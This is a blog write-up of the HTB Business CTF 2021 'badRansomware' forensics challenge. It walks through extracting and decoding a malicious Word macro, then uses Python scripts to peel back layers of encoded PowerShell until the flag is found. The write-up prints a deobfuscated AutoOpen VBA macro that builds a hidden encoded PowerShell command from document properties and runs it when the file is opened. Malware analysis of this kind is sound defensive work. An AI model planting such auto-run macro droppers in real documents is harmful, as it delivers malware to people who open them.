Introduction

A wave of phishing emails came in today that seem to be executing some kind of bad ransomware. The triage team said they create encrypted copies of all the files in your Downloads folder, but forgot to delete the originals. Oops. Anyway, see if you can take a closer look and find the flag.

This is a complete write-up for the badRansomware challenge at Business CTF 2021 hosted by Hack The Box. This article is a part of the HTB Business CTF 2021 series.

Learn more from additional readings found at the end of the article. I would be thankful if you mention me when using parts of this article in your work. Enjoy!

Introduction
Basic Information
Analysis
Second payload
Third payload
Additional readings

Basic Information

#
Type	Jeopardy CTF / Forensics
Organized by	Hack The Box
Name	HTB Business CTF 2021 / badRansomware
CTFtime weight	24.33
Solves	147
Started	2021/07/23 12:00 UTC
Ended	2021/07/25 18:00 UTC
URLs	https://ctf.hackthebox.eu/ctf/135
Author	Asentinn / NetCrawlers
	https://ctftime.org/team/159004

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Analysis

We are provided with the forensics_badransomware.zip file.

$ unzip forensics_badransomware.zip
$ file badRansomware.docm

Knowing that Word documents are archives, I'm extracting the contents of the *.docm

$ mkdir badRansomware
$ cp badRansomware.docm badRansomware/badRansomware.zip
$ cd badRansomware
$ unzip badRansomware.zip
$ rm badRansomware.zip
$ tree

We can see that there are some VBA related files - this document contains a macro.

VBA Macro

Useful tool to extract the potential malicious code from word files is olevba from oletools

$ olevba --deobf badRansomware.docm > olevba.out
$ nano olevba.out

Now we have the obfuscated VBA code

I'm copying the content of the macro to the separate file, create a copy of it, and I'm starting to deobfucate. I'm removing all the Sleep 0 lines and tangent calculations because they are useless. I'm changing the variables names to make it more understandable and fix indentation. This is a result.

'macro_deobfuscated.vba

Sub AutoOpen()
    Dim someString
    someString = ActiveDocument.Shapes("pelxcitrdd").AlternativeText
    someString = ActiveDocument.Shapes("adaopiwer").AlternativeText & someString
    someString = Split(someString, "@@@")

    Dim iterator
    iterator = 0

    Dim someStringLength
    someStringLength = UBound(someString) - 1

    Dim commandString

    For E = iterator To someStringLength
        Dim singeCharacterFromString
        Dim convertedChar

        singeCharacterFromString = someString(E)
        convertedChar = ChrW(singeCharacterFromString)
        commandString = commandString & convertedChar

    Next

    commandString = "powershell -e IAB" & commandString

    Call Shell(commandString, 0)
End Sub

Entry subroutine

This function (or subroutine):

Take pelxcitrdd and adaopiwer properties value from the document.
Append pelxcitrdd to adaopiwer (adaopiwer+pelxcitrdd)

Note the order of concatenation.

Split by @@@. This creates an array of strings.
Converted each element in this array using ChrW function. This means these array elements are Unicode character codes.
Each Unicode character is concatenated in a single long string.
Finally, string is passed to the PowerShell as an encoded command.

Now we should look at the other files for @@@ strings.

$ grep -lr "@@@" *

-l, display only file names

-r, recursive search

By looking at the content of the word/document.xml file, we indeed can see the pelxcitrdd and adaopiwer properties with the description we are interested in here.

Let's copy both contents to the separate files called pelxcitrdd and adaopiwer.

We are ready to assemble the encoded command

#!/bin/python

import sys, string

ct1 = ""
ct2 = ""


with open('pelxcitrdd') as file1:
        ct1 = file1.read().strip()
with open('adaopiwer') as file1:
        ct2 = file1.read().strip()

charCodes = (ct2+ct1).split("@@@")

command = "".join([chr(int(c)) for c in charCodes])

print(command)

As you can see, we ended up with a redundant x character (character code 120). Also don't be misled by being used to see powershell IEX commands - the IAB is not argument list for PowerShell, but fragment of the PowerShell encoded command!

I've spent quite a bit on this, thinking what is not right.

So add it to the beginning of the string and decode it from base64. This is a complete script

#!/bin/python

import sys, string, base64

ct1 = ""
ct2 = ""

with open('pelxcitrdd') as file1:
        ct1 = file1.read().strip()
with open('adaopiwer') as file1:
        ct2 = file1.read().strip()

charCodes = (ct2+ct1).split("@@@")
encodedCommand = "".join([chr(int(c)) for c in charCodes]).rstrip("x")
command = base64.b64decode(("IAB"+encodedCommand))

print(command)

Second payload

Now we have to work with a long string and when we look closer these are once again character codes separated by following characters: XwcIMp}UR%

To make it a bit easier, I've extracted the string between IEX and split commands and parsed it using Python script.

#!/bin/python

import re

payload = '/cut/'
charCodes = re.split('X|w|c|I|M|p|}|U|R|%',payload)
encodedCommand = "".join([chr(int(c)) for c in charCodes])

print(encodedCommand)

Third payload

This time, we can see we achieved the readable payload - this often means we are finally at the actual malicious code.

Assuming, this is indeed the final payload - because I can see there are some memory streams operation (remember that is a code for software that encrypts files) - I'm trying to look at the script without deobfuscation.

Also because I don't know how to safely do that automaticaly, if you know, please let me know in the comments.

I've noticed that one value is a bit cryptic, yet familiar:

By pasting the string format command to the PowerShell and converting the base64 to text in CyberChef I am able to retrieve the flag.

Additional readings

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VBScript Decoding & Deobfuscating by John Hammond

HTB Business CTF 2021: badRansomware

Comments

HTB Business CTF 2021

HTB Business CTF 2021: discordvm

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👆 Access Patron Benefits 👆

Introduction

Contents

Basic Information

Analysis

VBA Macro

Entry subroutine

Second payload

Third payload

Additional readings

Command Palette

Comments

HTB Business CTF 2021

HTB Business CTF 2021: discordvm

More from this blog

👆 Access Patron Benefits 👆

Introduction

Contents

Basic Information

Analysis

VBA Macro

Entry subroutine

Second payload

Third payload

Additional readings